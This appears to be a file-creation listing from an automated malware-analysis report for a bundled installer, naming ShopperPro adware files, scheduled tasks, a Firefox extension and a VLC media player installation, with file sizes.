C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\2c336850160e00c5eb623004e5ec3aca.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\4a3c378be3c0a1c88251e33fb294c23b.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\acbac258ab8930f55df2737a7623316e.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d4ed991ff40a229a0622e0606a37327b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\A2Y29KQJ7CK0A2OGCKMS.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N9FNVZ5C9YMNSN0U0QOH.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UBUPRVJSH874R7E8AY2O.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\System.dll (23 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnFD04.tmp (360165 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\AccDownload.dll (11659 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (37025 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (15168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (48241 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (11 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (18424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.ej (14 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\zwqnxb.dll (23 bytes)
%Program Files% (x86)\App Lid\utils.exe (76402 bytes)
C:\Windows\Tasks\01783b5d-40d7-41d4-9ba0-a7e585dc1505-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\uxdfkxs.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\420436 (4095 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\raqkdgbq.dll (3410 bytes)
%Program Files% (x86)\App Lid\01783b5d-40d7-41d4-9ba0-a7e585dc1505.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\8314 (91765 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn91B4.tmp (662695 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\loubc.dll (14 bytes)
%Program Files% (x86)\App Lid\01783b5d-40d7-41d4-9ba0-a7e585dc1505-5.exe (7385 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\rypiyr.dll (30 bytes)
C:\Windows\Tasks\01783b5d-40d7-41d4-9ba0-a7e585dc1505-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\mipntrzne.dll (30112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\01783b5d-40d7-41d4-9ba0-a7e585dc1505-4.dll (46916 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\igzjjofm.dll (13 bytes)
%Program Files% (x86)\App Lid\01783b5d-40d7-41d4-9ba0-a7e585dc1505-4.exe (9147 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst91D5.tmp\kbfew.dll (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll (13368 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_arrays.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.log (333852 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_02.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\fmc.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo (12088 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\hotkeys.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white.png (70 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_inhibit.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\common.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\view.html (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\speaker-32.png (942 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_pool.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es_out.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\AUTHORS.txt (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\mpora.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_events.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list_player.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\01_googleimage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll (62035 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_fifo.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\play_pause.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\httprequests.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\vlc.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo (28288 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll (8560 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\minus.png (109 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll (12024 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\loop.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_main.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cy\LC_MESSAGES\vlc.mo (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_threads.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery.jstree.js (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\vlc.mo (30968 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Back-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll (25112 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube.luac (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_services_discovery.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll (51840 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo (461 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_streams.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_10.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.dll.a (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metacafe.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll (22552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_07.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\main (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_discoverer.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\reset.png (134 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_probe.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll (32784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xml.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll (12088 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\telnet.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker_mute.png (328 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\freebox.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mouse.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_common.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\play.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_opengl.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo (16288 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\functions.js (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\france2.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_browse.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\empty.png (120 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_demux.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_structures.h (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player skinned.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\03_lastfm.luac (1 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\playlist (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\luac.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\VideoLAN Website.url (50 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo (33263 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.dll.a (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\README.txt (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete.png (124 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\googlevideo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_display.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Folder-48.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc16x16.png (606 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_down.png (108 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\cue.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\plus.png (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_gcrypt.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\joox.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libopus_plugin.dll (12024 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gu\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll (38495 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_04.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input_item.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\create_stream.html (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_01.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll (364982 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Video-48.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_osd.h (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdC62D.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist_small.png (84 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\input (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\batch_window.html (857 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_media_library.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\help.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\vlm.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\error_window.html (482 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_08.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\main.css (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Reset VLC media player preferences and cache files.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_version.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_spu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\test.html (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_xml.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe.manifest (825 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_messages.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\ui.js (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo (702 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdC62D.tmp\UAC.dll (1917 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_subpicture.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png (197 bytes)
